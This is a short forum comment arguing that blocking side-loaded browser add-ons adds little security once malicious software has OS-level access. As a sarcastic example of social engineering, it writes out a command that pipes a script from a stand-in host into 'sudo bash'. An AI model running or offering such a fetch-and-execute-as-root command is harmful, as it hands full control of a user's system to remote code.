> side-loaded add-ons that can steal your information are a legit security threat

How so? Sideloading means OS-level access. OS-level access means your whole user account is already compromised if it was malicious software.

There is no additional security gained by preventing side-loading after malicious software already got into your system.

If someone social-engineers you into "install this .xpi" they might as well manage to trick you into "run this .jar" or "run this .exe" or please "curl http://pleaseexploit.me/ | sudo bash" to check out our newest software!